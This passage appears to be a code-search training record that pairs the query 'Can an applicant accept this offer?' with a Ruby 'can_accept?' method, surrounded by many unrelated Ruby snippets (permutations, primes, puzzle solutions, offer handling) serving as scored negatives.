group_6 << array[i]\n elsif i % 13 == 0\n group_7 << array[i]\n else\n prime_group << array[i]\n end\n i += 1\n end\n x = 0\n while x < prime_group.length\n if (x % 2 == 0) && !(x % 3 == 0)\n group_8 << prime_group[x]\n elsif x % 3 == 0\n group_9 << prime_group[x]\n else\n group_10 << prime_group[x]\n end\n x += 1\n end\n\n\n\n puts group_1\n puts group_1.length\n puts group_2\n puts group_2.length\n puts group_3\n puts group_3.length\n puts group_4\n puts group_4.length\n puts group_5\n puts group_5.length\n puts group_6\n puts group_6.length\n puts group_7\n puts group_7.length\n #puts prime_group\n #puts prime_group.length\n puts group_8\n puts group_8.length\n puts group_9\n puts group_9.length\n puts group_10\n puts group_10.length\n puts array.length\nend", "def permutations(array)\n\treturn array.permutation\nend", "def permutations(array)\n results = []\n results[0] = [[array.first]]\n (1..array.length - 1).each do |i|\n new_perms = []\n old_perms = results[i-1].deep_dup\n old_perms.each do |perm|\n perm.each_with_index do |value, index|\n new_perms << perm.splice(index, i + 1)\n end\n new_perms << perm.push(i + 1)\n end\n results[i] = new_perms\n end\n results[array.length - 1]\nend", "def permutations(array)\n return [array] if array.length <= 1\n\n\n # Similar to the subsets problem, we observe that to get the permutations\n # of [1, 2, 3] we can look at the permutations of [1, 2] which are\n # [1, 2] and [2, 1] and add the last element to every possible index getting\n # [3, 1, 2], [1, 3, 2], [1, 2, 3], [3, 2, 1], [2, 3, 1]\n\n # pop off the last element\n first = array.shift\n # make the recursive call\n perms = permutations(array)\n # we will need an array to store all our different permutations\n total_permutations = []\n\n\n # Now we iterate over the result of our recusive call say [[1, 2], [2, 1]]\n # and for each permutation add first into every index. This new subarray\n # gets added to total_permutations.\n perms.each do |perm|\n (0..perm.length).each do |i|\n total_permutations << perm[0...i] + [first] + perm[i..-1]\n end\n end\n total_permutations\nend", "def permutations(array)\n if array.empty?\n return [[]]\n end\n if array.count == 1\n return [array.clone]\n end\n arr = []\n array.each_with_index do |ele, idx|\n cpy = array.clone\n cpy.delete_at(idx)\n permutations(cpy).each do |perm|\n arr << [ele] + perm\n end\n end\n return arr\nend", "def perm(arr)\n return [arr] if arr.length <= 1\n result = []\n arr.each_index do |idx|\n temp = perm(arr[0...idx] + arr[idx+1..-1])\n subset = temp.map { |sub| [arr[idx]] + sub }\n result += subset\n end\n\n result\n\n\n\n\n # return [arr] if arr.length <= 1\n # result = []\n #\n # arr.each_index do |idx|\n #\n # other_perm = perm(arr[0...idx] + arr[idx+1..-1])\n # row = other_perm.map { |subarr| [arr[idx]] + subarr }\n # result += row\n # end\n #\n # result\nend", "def permutations(array)\n return [array] if array.length <= 1\n\n # Similar to the subsets problem, we observe that to get the permutations of \n # [1, 2, 3] we can look at the permutations of [1, 2] which are [1, 2] and \n # [2, 1] and add the last element to every possible index getting [3, 1, 2], \n # [1, 3, 2], [1, 2, 3], [3, 2, 1], [2, 3, 1], [2, 1, 3]\n\n # pop off the last element\n first = array.shift\n\n # make the recursive call\n perms = permutations(array)\n\n # we will need an array to store all our different permutations\n total_permutations = []\n\n # Now we iterate over the result of our recusive call say [[1, 2], [2, 1]]\n # and for each permutation add first into every index. This new subarray\n # gets added to total_permutations.\n perms.each do |perm|\n (0..perm.length).to_a.each do |i|\n total_permutations << perm[0...i] + [first] + perm[i..-1]\n end\n end\n\n total_permutations\nend", "def permutations(array)\n # debugger\n return [array] if array.length == 1\n perms = permutations(array[0..-2])\n other_perms = []\n perms.each do |perm|\n other_perms += (0..perm.length).map do |idx|\n temp = perm.dup\n temp.insert(idx, array[-1])\n end\n end \n other_perms\nend", "def permutations(array)\n return [array] if array.length <= 1\n \n \n # Similar to the subsets problem, we observe that to get the permutations\n # of [1, 2, 3] we can look at the permutations of [1, 2] which are\n # [1, 2] and [2, 1] and add the last element to every possible index getting\n # [3, 1, 2], [1, 3, 2], [1, 2, 3], [3, 2, 1], [2, 3, 1]\n \n # pop off the last element\n first = array.shift\n # make the recursive call\n perms = permutations(array)\n # we will need an array to store all our different permutations\n total_permutations = []\n \n \n # Now we iterate over the result of our recusive call say [[1, 2], [2, 1]]\n # and for each permutation add first into every index. This new subarray\n # gets added to total_permutations.\n perms.each do |perm|\n (0..perm.length).each do |i|\n total_permutations << perm[0...i] + [first] + perm[i..-1]\n end\n end\n total_permutations\nend", "def problem_77a\n primes = Primes.upto(100)\n\n # off is the offset in the prime array, we can work down :-)\n solve = lambda do |a,off,max|\n n = 0\n while a[off] < max && (a.length-off) >= 2 \n a[off] += a.pop\n n += 1 if (a & primes).length == a.uniq.length\n n += solve.call(a.dup,off+1,a[off]) if a.length - off > 1\n end\n n\n end\n m = 0\n (2..100).each do |num|\n break if (m = solve.call([1] * num,0,num-1)) > 5000\n puts \"#{num} => #{m}\"\n end\n m\nend", "def correct(element)\n result = nil\n element.downto(0).each do |j|\n i = element - j\n if j == element && j % 3 == 0\n result = Array.new(j, 5)\n elsif i % 5 == 0 && j % 3 == 0\n result = Array.new(j, 5) + Array.new(i, 3)\n elsif i == element && i % 5 == 0\n result = Array.new(i, 3)\n end\n\n break if result\n end\n\n if result.nil?\n puts -1\n else\n puts result.join()\n end\nend", "def permutations(array)\n if array[0].is_a?(Array)\n permutation_num = factorial(array[0].length)\n return array if array.length == permutation_num\n current = array[-1]\n prev_array = [current[-1]] + current[0..-2]\n next_array = [current[-1]] + current[0..-2].reverse\n result = array + [next_array , prev_array]\n permutations(result)\n else\n permutation_num = factorial(array.length)\n return array if array.length == permutation_num\n next_array = [array[0]] + array[1..-1].reverse\n result = [array] + [next_array]\n permutations(result)\n end\n end", "def permutations(arr)\n return arr if arr.length <= 1\n perm = [arr]\n sub_perm = permutations(arr[1..-1])\n curr_el = arr[0]\n p sub_perm\n p \" sub_perm #{sub_perm} \"\n if sub_perm.length > 1\n\n sub_perm.each do |subArr|\n temp = []\n (0...subArr.length).each do |i|\n temp = subArr[0..i] + [curr_el] + subArr[i + 1..-1]\n end\n perm << temp\n end\n end\n # puts \" sub_perm #{sub_perm} \"\n # sub_perm.each do |subArr|\n # subArr << curr_el\n # perm << subArr\n # end\n # sub_perm << curr_el\n # perm << sub_perm\nend", "def sum_of_cubes(number)\n\t#Base Case - the simplest form our problem can take.\n\tif number == 1\n\t\treturn 1\n else\n #Reconstruction - here we rebuild!!!\n \tsum = number**3 + sum_of_cubes(number - 1)\n \treturn sum\n\tend\nend", "def minesweeper(matrix)\n height = matrix.count - 1\n width = matrix[0].count - 1\n\n finalArray = Array.new\n \n for i in 0..height\n temp = Array.new\n for j in 0..width\n temp << check33(matrix, j, i)\n end\n finalArray << temp\n end\n finalArray\nend", "def fitn(crate, box)\n \n permutations_array = box.permutation.to_a\n\n def get_fit(crate, rotated_box)\n fit = 1\n crate.each_index do |i|\n fit_on_side = crate[i] / rotated_box[i]\n fit *= fit_on_side\n end\n return fit\n end\n\n fit = 0\n permutations_array.each do |rotated_box|\n boxes = get_fit(crate, rotated_box)\n if boxes > fit\n fit = boxes\n end\n end\n\n puts fit\n\nend", "def max_permutation n\n min_permutation(n).to_s.reverse.ljust(4, '0').to_i\nend", "def permutations(elements)\n return [elements] if elements.size <= 1\n result = []\n elements.uniq.each do |p|\n _elements = elements.dup\n _elements.delete_at(elements.index(p))\n permutations(_elements).each do |perm|\n result << (perm << p)\n end\n end\n result\nend", "def find_primes\n canidates = (0..@max_num).to_a\n k=2\n while(k<= canidates.size/2)\n j=2\n while(j<= canidates.size/2)\n prod = k*j\n if prod <= @max_num\n canidates[prod] = nil\n end\n j+=1\n end\n k+=1\n end\n res = canidates.compact\n res.shift(2)\n res\n end", "def get_partial_permutations(n,k)\r\n result = 1\r\n while (k > 0)\r\n result *= n\r\n n -= 1\r\n k -= 1\r\n end\r\n return (result % 1000000)\r\nend", "def prime_checker(num)\n digits = num.to_s.chars\n permutations = digits.permutation(digits.size).map { |n| n.join.to_i }.uniq\n # permutations.reject! { |num| num.to_s.size < digits.size }\n permutations.each do |permutation|\n return 1 if prime?(permutation)\n end\n 0\nend", "def permutations(array)\n #base case\n return [[]] if array.empty?\n\n results = []\n prev_perm = permutations(array[0...-1]) # permutations([1,2]) == [[1, 2], [2, 1]]\n last_ele = array[-1] # 3\n prev_perm.each do |sub_arr|\n (0...array.length).each do |idx|\n # temp = Array.new(array.length) [nil, nil, nil]\n # temp = sub_arr[0...idx] + [last_ele] + sub_arr[idx..-1]\n results << temp\n end\n end\n results\nend", "def permutations(sequence)\n return sequence if sequence.empty?\n\n ch = sequence.delete_at(0)\n underlying = Set.new([ch])\n sequence.each do |ch|\n new_set = Set.new\n underlying.each do |permutation|\n (0..permutation.length).each do |idx|\n new_set.add(permutation.dup.insert(idx, ch))\n end\n end\n underlying = new_set\n end\n underlying.each\nend", "def mutiply_all_element_of_an_array_excep_itself2(array_n)\n total_mutiplication_value = 1\n result_array = []\n \n array_n.each do |elm|\n total_mutiplication_value = elm * total_mutiplication_value\n end\n \n puts \"Total mutiplication : #{total_mutiplication_value}\"\n \n array_n.each do |elm|\n result = divide_by_bit_shift(total_mutiplication_value, elm)\n result_array.push(result[0])\n end\n \n\n return result_array\nend", "def permutationEquation(p)\n n = p.size\n (1..n).map do |x|\n res = 0\n p.each do |y|\n res = y if p[p[y - 1] - 1] == x\n end\n res\n end\nend", "def permutations(array)\n return [array] if array.length <= 1\n total_permutations = []\n last = array[-1]\n perms = permutations(array[0...-1])\n\n perms.each do |perm|\n 0.upto(perm.length) do |index|\n total_permutations << perm[0...index] + [last] + perm[index..-1]\n end\n end\n\n total_permutations\nend", "def solution(a)\n factors = factors_sieve(a)\n n = a.size\n a.map {|num| n - factors[num]}\nend", "def distinct_primes(n)\n 2.step do |i|\n nums = []\n tuples = [] # Each element is a 2-tuple of [prime, factor]\n j = i\n n.times do \n nums << j\n tuples << j.prime_division \n j += 1\n end\n next unless digits_equal(tuples, n)\n return nums if distinct_factors(tuples)\n end\nend", "def lex_permutation(n, digits)\n fact = factorial(digits.size-1)\n lead_digit = n / fact\n count = lead_digit * fact\n perms = (digits - [lead_digit]).permutation.to_a\n ([lead_digit] + perms[n - count - 1]).join\nend", "def lexicPerm1(list)\n\tlex_perms = list.permutation(10).to_a\n\tputs lex_perms[1_000_000 - 1].join()\nend", "def permutations(array)\n return [[]] if array.empty?\n return [array] if array.length == 1\n new_arr = []\n\n first_el = array.shift\n array_perms = permutations(array)\n array_perms.each do |perm|\n (0..perm.length).each do |idx|\n new_arr << perm[0...idx] + [first_el] + perm[idx..-1]\n end\n end\n return new_arr\nend", "def sort_by_perfsq(array)\n numbers = {}\n array.each do |n|\n numbers[n] ||= 0\n\n n.to_s.split('').permutation.to_a.uniq.each do |arr|\n sqrt = Math.sqrt(arr.join.to_i)\n numbers[n] += 1 if sqrt == sqrt.to_i\n end\n end\n\n sorted = array.sort do |x, y|\n numbers[x] > numbers[y] ? 1 : numbers[x] == numbers[y] ? x > y ? -1 : x == y ? 0 : 1 : -1\n end\n sorted.reverse\nend", "def permute(arr)\n permutations = []\n for i in (0 .. arr.size - 1)\n for j in (i + 1 .. arr.size - 1)\n permutations.push([arr[i],arr[j]])\n end\n end\n permutations\n end", "def permutations_lazy_iter(arr)\n new_arr = [arr]\n num_perms = factorial(arr.length)\n\n until new_arr.length == num_perms\n new_arr << arr.shuffle\n new_arr = new_arr.uniq\n end\n\n new_arr\nend", "def returnPermutationsBefore(multiLetterDivisor)\n \n #Define functions used by this function\n \n #--------------------------------------------------------------- \n \n #function that returns sum of all elements before given position\n #This function is used to track how many alphabetically preceding\n #letters are still available for our mathematical calculation\n \n def sumPrecedingArrayEntries(array, position)\n sum = 0\n for i in 0..position-1\n sum += array[i]\n end\n return sum\n end\n\n #---------------------------------------------------------------\n \n #Function that calculates the permutations that can alphabetically\n #precede the given spot in word using given parameters. This function gives\n #the count for each letter and its results are summed together.\n \n def findPermutationsBefore(noToPermutate, availablePrecedingLetters,\n multiLetterDivisor) \n return (getFactorial(noToPermutate-1) * availablePrecedingLetters) / (multiLetterDivisor)\n end\n \n #---------------------------------------------------------------\n\n #variable for running count of permutations that alphabetically\n #precede the given word as we loop and parse through given word\n \n permutationsBefore = 0\n \n #Array to keep track of which letters have been consumed.\n #Could also update totalLettersBefore in hash table\n #and parse hash table but array better suited for sequential\n #parsing by index\n \n usedLettersArray = Array.new(@uniqueLetterCount, 0)\n \n #Loop to parse through @arrayOfChars (original, unsorted word)\n \n for i in 0..@length-2\n \n #For sake of readability, use currentLetterData to reference\n #inner hash for each letter.\n #Thus @letterHash[@arrayOfChars[i]][\"totalLettersBefore\"] becomes\n #currentLetterData[\"totalLettersBefore\"]\n \n currentLetterData = @letterHash[@arrayOfChars[i]]\n \n #sumPrecedingArrayEntries parses usedLettersArray and returns\n #the sum of all entries prior to given index (alphabetical\n #index of currentLetter). Thus, this call returns number of\n #consumed letters that precede currentLetter\n \n qtyPrecedingUsedLetters = sumPrecedingArrayEntries(usedLettersArray,\n currentLetterData[\"alphabeticalIndex\"])\n \n #update qtyPrecedingAvailableLetters by subtracting used letters\n #from currentLetter's totalLettersBefore obtained from hash table. \n \n qtyPrecedingAvailableLetters = currentLetterData[\"totalLettersBefore\"] -\n qtyPrecedingUsedLetters\n \n #Add the permutations for current spot to running total.\n \n permutationsBefore += findPermutationsBefore(@length-i,\n qtyPrecedingAvailableLetters, multiLetterDivisor)\n \n #To prepare for next iteration, update multiLetterDivisor as needed\n #after consuming current character. Update usedLettersArray after\n #updating multiLetterDivisor. NOTE: multiLetterDivisor is a copy\n #of instance variable @multiLetterDivisor. Copy is used so that\n #@multiLetterDivisor remains preserved for other functions such as\n #printAlphabeticalPositionUserFriendly\n \n #To see how multiLetterDivisor works, imagine a word with 3 A's.\n #Initially this letter contributes 3! to multiLetterDivisor.\n #After 1 A is used, we divide multiLetterDivisor by\n #(occurrences of A - number of A's consumed). We make this update\n #Before updating usedLettersArray. So for first consumption\n #multiLetterDivisor gets divided by 3-0 = 3. After dividing by 3 A\n #contributes 3!/3 = 2! to the collective divisor. Next time A is consumed\n #multiLetterDivisor gets divided by 3-1 = 2. So after 2 A's are\n #consumed, A contributes 2!/2 = 1 to multiLetterDivisor.\n \n multiLetterDivisor /= (currentLetterData[\"occurrencesOfLetter\"] -\n usedLettersArray[currentLetterData[\"alphabeticalIndex\"]])\n usedLettersArray[currentLetterData[\"alphabeticalIndex\"]] += 1\n end\n return permutationsBefore\n end", "def stringToPerms(rotor)\n outPerms = Array.new\n numsUsed = Array.new\n subPerms = Array.new\n i = 0\n\n while numsUsed.length < 26 do\n if (!numsUsed.include?(i)) then\n numsUsed.push(i)\n subPerms.push(i)\n i = charToNum(rotor[i])\n \n if(numsUsed.length >= 26) then\n outPerms.push(subPerms)\n end\n else\n outPerms.push(subPerms)\n subPerms = Array.new\n for n in 0...26 do\n if(!numsUsed.include?(n)) then\n i = n\n break\n end\n end\n end\n end\n\n return outPerms\nend", "def solution(n)\n array = Array.new\n (1..n).each do\n array.push(0)\n end\n while (array.length >= 16)\n (1..16).each do\n array.pop\n end \n end\n array.length\nend", "def expansionclave(iteracion)\n t_mclave=@m_clave\n aux=Array.new(4){Array.new(4)}\n #operacion del rotword (rotando la ultima columna de la matriz de las claves)\n aux[0][3],aux[1][3],aux[2][3],aux[3][3]=t_mclave[1][3],t_mclave[2][3],t_mclave[3][3],t_mclave[0][3]\n\n #relleno la matriz completa con los demas elementos de la matrz de la clave\n for i in 0...4\n for j in 0...3\n aux[i][j]=t_mclave[i][j]\n end\n end\n #se busca en la sbox los valores de la matriz\n aux[0][3],aux[1][3],aux[2][3],aux[3][3]=get_sbox(aux[0][3].to_i(16)).to_s(16).rjust(2,'0'),get_sbox(aux[1][3].to_i(16)).to_s(16).rjust(2,'0'),get_sbox(aux[2][3].to_i(16)).to_s(16).rjust(2,'0'),get_sbox(aux[3][3].to_i(16)).to_s(16).rjust(2,'0')\n #se realiza la operación de principal de la epansion de claves\n aux[0][0]=(@m_clave[0][0].to_i(16)^aux[0][3].to_i(16)^Rcon[0][iteracion]).to_s(16).rjust(2,'0')\n aux[1][0]=(@m_clave[1][0].to_i(16)^aux[1][3].to_i(16)^Rcon[1][iteracion]).to_s(16).rjust(2,'0')\n aux[2][0]=(@m_clave[2][0].to_i(16)^aux[2][3].to_i(16)^Rcon[2][iteracion]).to_s(16).rjust(2,'0')\n aux[3][0]=(@m_clave[3][0].to_i(16)^aux[3][3].to_i(16)^Rcon[3][iteracion]).to_s(16).rjust(2,'0')\n for i in 0...4\n for j in 1...4\n aux[i][j]=(@m_clave[i][j].to_i(16)^aux[i][j-1].to_i(16)).to_s(16).rjust(2,'0')\n end\n end\n\n @m_clave=aux\n end", "def solution_checker(array)\n if array.length > 1\n # Create a board that can be manipulated without affecting the original board\n internal_board = []\n column_counter = 1\n row_counter = 1\n 4.times do\n 4.times do\n internal_board.push(Square.new([column_counter, row_counter]))\n column_counter = column_counter + 1\n end\n row_counter = row_counter + 1\n column_counter = 1\n end\n #Label squares on the board as occupied\n array.each do |piece|\n square = internal_board.find {|s| s.location == piece.location}\n square.occupied = true\n square.piece = piece\n end\n array.each_with_index do |piece, index|\n if array.include?(piece) && piece != array.last\n original_square = internal_board.find {|s| s.location == piece.location}\n blocker = piece.impediments?([(array[index + 1]).column, (array[index + 1]).row], internal_board)\n if blocker\n break\n elsif piece.move([(array[index + 1]).column, (array[index + 1]).row])\n captured_piece = array[index + 1]\n array.uniq!{|piece| piece.location}\n original_square.occupied = false\n original_square.piece = nil\n new_moves = array.permutation.to_a\n new_moves.each do |new_array|\n new_array.map {|a| a.dup}\n end\n new_moves.each do |new_array|\n solution_checker(array)\n end\n else\n break\n end\n else\n break\n end\n end\n end\nend", "def permutations array\n if array.size < 2\n yield array\n else\n array.each do |element|\n permutations(array.select() {|n| n != element}) \\\n {|val| yield([element].concat val)}\n end\n end\nend", "def get_permutations(n)\r\n return (1..n).to_a.permutation.to_a\r\nend", "def array_permutation(array)\n return array[0] if array.size == 1\n first = array.shift\n return first.product( array_permutation(array) )\nend", "def permutations(array)\n return [array] if array.length == 1\n\n results = []\n\n array.each_with_index do |item, i|\n permutations(array[0..i-1] + array[i+1..-1]).each do |perm|\n results << perm.unshift(item)\n end\n end\n\n results\nend", "def array_permutations(arr)\n return [arr] if arr.length <= 1\n removed = arr.last\n sliced_arr = arr.slice(0...-1)\n new_arrays = array_permutations(sliced_arr)\n res = []\n new_arrays.each{|new_array|res += insert_num(new_array, removed)}\n res\nend", "def permute(list)\n if (list.length <= 1)\n return [list]\n end\n permutations = []\n count = 1\n list.each do |item|\n sublist_permutations = permute(list - [item])\n sublist_permutations.each do |permutation|\n permutation.unshift(item)\n permutations << permutation\n #puts \"Permutations : #{permutations.join(', ')}\"\n #puts \"permutation lists: #{permutations.each {permutation.join(', ')}}\"\n end\n end\n return permutations\nend", "def mult_of_three_nums(array)\n maximum = array.max\n combinations = []\n count = array.size\n count.times do |idx1|\n count.times do |idx2|\n count.times do |idx3|\n unless idx1 == idx2 || idx2 == idx3 || idx1 == idx3\n combinations << [array[idx1], array[idx2], array[idx3]]\n end\n end\n end\n end\n !!(combinations.detect{ |sub_array| sub_array.reduce(:*) == maximum})\nend", "def euler_24(permutation = 1000000, digits = %w{ 0 1 2 3 4 5 6 7 8 9 }, join = '', lex = true)\n digits.sort! if lex\n result = digits.permutation(digits.length).to_a[permutation-1]\n join.nil? ? result : result.join(join)\nend", "def permutations(arr)\n arr = arr.dup\n return [arr] if arr.length == 1\n\n last_el = arr.pop\n base = permutations(arr) # [[1]]\n\n results = []\n base.each do |perm|\n (perm.length + 1).times do |i|\n result = perm[0...i] + [last_el] + perm[i..-1]\n results << result\n end\n end\n\n results\nend" ]
[ "0.6973509", "0.6691726", "0.64097166", "0.6380328", "0.63516444", "0.6316087", "0.6289786", "0.62523514", "0.6230836", "0.6199677", "0.6177152", "0.6177152", "0.6177152", "0.6177152", "0.61611086", "0.61424494", "0.6069512", "0.6061936", "0.6053008", "0.6035207", "0.60336804", "0.6030418", "0.60226625", "0.6015462", "0.60088325", "0.60061777", "0.59987056", "0.5981789", "0.59504753", "0.59244376", "0.5919795", "0.5915987", "0.5912372", "0.58903366", "0.5881157", "0.587455", "0.58742577", "0.5857998", "0.5854028", "0.58518535", "0.58472997", "0.5840334", "0.5835541", "0.5816448", "0.57983404", "0.5790701", "0.5782748", "0.5772819", "0.57545185", "0.5733894", "0.57305866", "0.5716004", "0.5715777", "0.5713771", "0.57132626", "0.57097197", "0.57018405", "0.5693715", "0.5693384", "0.5692539", "0.5689513", "0.5678599", "0.5661153", "0.565145", "0.5648745", "0.564071", "0.5639489", "0.5630812", "0.56294215", "0.5619966", "0.5614806", "0.5613195", "0.5604575", "0.5592093", "0.5590542", "0.5590427", "0.5590053", "0.55878556", "0.55860347", "0.55829275", "0.55790824", "0.55684674", "0.5563832", "0.55635154", "0.5561655", "0.55528206", "0.55478793", "0.55473423", "0.5543703", "0.55413634", "0.5529614", "0.5529568", "0.5517098", "0.5516661", "0.55165064", "0.5516037", "0.5514577", "0.5513555", "0.55122036", "0.55105394" ]
0.6106737
16
Can an applicant accept this offer?
def can_accept? !accepted? && !rejected? && !withdrawn? end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def can_be_accepted_by?(acceptor)\n self.can_accept? && self.kase.person == acceptor &&\n (self.kase.offers_reward? ? self.kase.owner_only_offers_reward? : true)\n end", "def accept\n @assignment.active_offer.accepted!\n render_success @assignment.active_offer\n end", "def can_be_approved?\n self.applied?\n end", "def acceptable_by?(acceptor)\n self.can_accept? &&\n !!acceptor && !!self.person && !!self.kase.person && acceptor == self.kase.person &&\n (self.kase.offers_reward? ? acceptor != self.kase.person : true)\n end", "def can_be_rejected?\n self.applied?\n end", "def accept! = self.user.create_accepted_request", "def ensure_eligible_for_confirmation\n unless @offering.confirmations_allowed?\n flash[:error] = \"We're sorry, but the confirmation process is currently disabled.\"\n redirect_to apply_url(@offering) and return\n end\n unless @user_application.passed_status?(\"fully_accepted\") || @user_application.passed_status?(\"fully_accepted_vad\")\n flash[:error] = \"You cannot go through the confirmation process until your application has been fully accepted.\"\n redirect_to apply_url(@offering) and return\n end\n end", "def accepted?\n false\n end", "def can_bid_on?(offer)\n owns = (self == offer.user)\n in_transaction = offer.responses.any? { |r| r.status != 'open' }\n offer.is_parent_offer? && !owns && !in_transaction\n end", "def accepted?\n verdict && verdict.accepted?\n end", "def accepted?\n if (app = applications.find_by(status: :accepted))\n app.accepted?\n end\n end", "def offer\n end", "def offer\n end", "def offer\n end", "def _accept?(wi)\n Ruote.participant_send(self, :accept?, 'workitem' => wi)\n end", "def can_accept?\n !self.new_record? && self.active? && !!self.kase && self.kase.active?\n end", "def check_if_approval_is_required\n !offer_request.blank?\n end", "def accepted?\n return true if exclusive?\n\n accepted_by?(host_lead_member) && accepted_by?(guest_lead_member)\n end", "def prescriptively_ok?\n acceptance & PRESCRIPTIVE == PRESCRIPTIVE\n end", "def descriptively_ok?\n acceptance & DESCRIPTIVE == DESCRIPTIVE\n end", "def money_approved?\n true\n end", "def user_consenting?; end", "def accepted_to_this_job\n JobApplication.where(applicant_id: current_user.id, job_id: job.id, isAccepted: true).exists?\n end", "def offer_available?\n #return self.approved? && self.offers.last.present? && self.offers.last.effective?\n return self.offers.last.present? && self.offers.last.effective?\n end", "def validate_allows_response\n if self.kase\n # self.errors.add(:kase, \"is %{status}\".t % {:status => self.kase.current_state_t}) unless self.kase.active?\n # self.errors.add(:kase, \"is not open\".t) unless self.kase.open?\n \n if self.person \n if self.kase.offers_reward?\n\n # only disallow rewarded self answers\n self.errors.add(:base, \"You cannot respond to your own rewarded %{type}\".t % {:type => self.kase.class.human_name}) unless self.person != self.kase.person\n\n end\n end\n end\n end", "def accepted?\n return listing.accepted_proposal_id == id\n end", "def can_buy_beer?(person)\nend", "def accepted?\n state == 'accepted'\n end", "def offerer?(person)\n (share_type.is_offer? && author.eql?(person)) || (share_type.is_request? && !author.eql?(person))\n end", "def can_reject?\n !accepted? && !rejected? && !withdrawn?\n end", "def accepted?\n return (self.status == STATUS_ACCEPTED)\n end", "def can_accept_showing?\n profile.valid? && valid_bank_token? && !blocked?\n end", "def approved?\n !pending\n end", "def can_supply?\n payment_received? || payment_on_account?\n end", "def offer\n raise \"Unimplemented 'offer' for intention: #{self.inspect}!\"\n end", "def call\n return broadcast(:has_supports) if @opinion.votes.any?\n\n transaction do\n change_opinion_state_to_withdrawn\n reject_emendations_if_any\n end\n\n broadcast(:ok, @opinion)\n end", "def accept\n if @product.goaled?\n count = params.require(:count)\n @product.bids.not_accepted.oldest(count).each do |bid|\n bid.update! accepted_at: Time.current\n end\n redirect_to [current_role, @product]\n else\n redirect_to [current_role, @product],\n alert: 'Product is not goaled yet.'\n end\n end", "def claimable?\n # can this invite be confirmed!\n ( pending? or declined? ) and !roster.full?\n end", "def accept!\n accepted!\n end", "def accepting?\n\treturn self.type == \"Accepting\"\n end", "def transfer_applicant?\n appl_type == \"2\" || appl_type == \"4\"\n end", "def offer\n # TODO: implement\n end", "def accept\n offer = Offer.find(params[:id])\n if offer \n if offer.product.user.id == @current_user.id\n if offer.offer_status == Offer.OFFER_OFFERED\n conversation = Conversation.new\n conversation.seller = @current_user\n conversation.buyer = offer.user\n conversation.offer = offer\n conversation.save()\n \n offer.offer_status = Offer.OFFER_ACCEPTED\n offer.conversation_id = conversation.id\n offer.save()\n \n offer.product.sold_status = Product.SOLD_IN_TRANSACTION\n offer.product.save()\n\n notify(\"NOTIF_NEW_CONVERSATION\", {\n conversation: {\n id: conversation.id,\n is_seller: false,\n prev_message: nil\n },\n user: {\n id: @current_user.id,\n username: @current_user.username,\n first_name: @current_user.first_name,\n last_name: @current_user.last_name\n },\n offer: {\n id: offer.id,\n price: offer.price\n },\n product: {\n id: offer.product.id,\n product_name: offer.product.product_name,\n price: offer.product.price\n }\n }, offer.user_id)\n\n OfferMailer.offer_accepted_email(offer.user, offer, offer.product, offer.product.user, conversation).deliver_later!(wait: 15.seconds)\n \n render status: 200, json: {conversation_id: conversation.id}\n else\n render status: 471, json: {error: true}\n end\n else\n render status: 472, json: {error: true}\n end\n else\n render status: 404, json: {error: true}\n end\n end", "def approved?\n !self.pending\n end", "def can_request_purchase?\n true # TODO: Should this be !virginia_borrower? ?\n end", "def can_receive_bids?\n is_parent_offer? && bids.empty?\n end", "def accept!(user_id)\n if self.approved_at.nil?\n # Approvability::Notifier.confirm_approval(self).deliver # Send an email to the contributor\n self.update_attributes(rejected_at: nil, approved_at: Time.now, user: user_id)\n end\n self\n end", "def accepted?\n self.status == ACCEPTED\n end", "def __accepted__\n defined?(accepted) ? accepted : false\n end", "def legal_terms_acceptance_on!\n @legal_terms_acceptance = true\n end", "def any_approved_loans?\n Applicant.where(email: @email, recommendation: Applicant::recommendations[:approve]).exists?\n end", "def terms_accepted?\n true\n end", "def can_approve?(target)\n is_staff? && target && target.active? && !target.approved?\n end", "def show\n authorize @offer\n end", "def friend_request_accepted?\n friend_request_exists? && friend.accepted?\n end", "def user_consenting; end", "def can_make_decision?\n self.awaiting_decisions? || self.awaiting_replies? || self.all_rejected?\n end", "def waiver_submitted\n requested_decision\n end", "def can_afford_to_rent?(movie)\n end", "def applicability(options = {})\n call(:post, path + 'content/applicability/', :payload => { :required => options })\n end", "def recommendable?() false end", "def acceptable_by?(user)\n return false if !resource.new? or user.is_user? or \n ((chat = resource.chat) and !chat.has_user?(user))\n amount = resource.amount\n if limit = LIMITS[user.role.name]\n amount <= limit and (!resource.deposit_type? or user.wallet.has_amount?(amount))\n else \n (!resource.deposit_type? or user.wallet.has_amount?(amount))\n end\n end", "def offer\n nil\n end", "def offer\n nil\n end", "def accept\n @card = Card[params[:card][:key]] or raise(Wagn::NotFound, \"Can't find this Account Request\") #ENGLISH\n @user = @card.extension or raise(Wagn::Oops, \"This card doesn't have an account to approve\") #ENGLISH\n System.ok?(:create_accounts) or raise(Wagn::PermissionDenied, \"You need permission to create accounts\") #ENGLISH\n \n if request.post?\n @user.accept(params[:email])\n if @user.errors.empty? #SUCCESS\n redirect_to (System.setting('*invite+*thanks') || '/')\n return\n end\n end\n render :action=>'invite'\n end", "def is_approvable_by(another_user)\n return false unless is_associated_to_somebody_else_than(another_user)\n\n existing_friendship = @swimmer.associated_user.find_any_friendship_with(another_user)\n !!(\n existing_friendship &&\n existing_friendship.pending? &&\n (existing_friendship.friend_id == another_user.id) # Another user is the one *receiving* the invite\n )\n end", "def can_activate?\n self.person && self.person_match? && self.has_not_expired?\n end", "def accepted\n OpportunityMailer.accepted\n end", "def accepted?\n !!self.accepted_at\n end", "def pregnancy_to_confirm\n # TODO: add (Just to confirm) . . . if participant known to be pregnant\n \"A\"\n end", "def acceptable_by?(user)\n return false unless user.has_role?(:admin, user.unit)\n resource.pending?\n end", "def auto_accept_response!\n result = false\n if self.active? && self.has_expired? && self.responses_count >= 1 && \n self.offers_reward? && !self.owner_only_offers_reward?\n top = self.responses.active.find(:all, :conditions => [\"responses.up_votes_count >= 2 && responses.votes_sum >= 0\"],\n :order => \"responses.votes_sum ASC, responses.updated_at DESC\", :limit => 2)\n result = top.first.accept! unless top.first.nil?\n self.responses.reload if result\n end\n result\n end", "def allowed?; true end", "def has_no_accepted_response?\n !self.has_accepted_response?\n end", "def set_offer\n @offer = Offer.find(params[:id])\n authorize @offer\n end", "def can_afford_to_bet?(amount)\n (self.balance >= amount)\n end", "def place_offer(proposer, amount)\n\t\t\tif proposer.balance >= amount\n\t\t\t\tsell_to(proposer, amount) if @owner.decide(:consider_proposed_trade, game: @owner.game, player: @owner, proposer: proposer, property: self, amount: amount).is_yes?\n\t\t\tend\n\t\tend", "def owner_only_offers_reward?\n self.rewards_count == 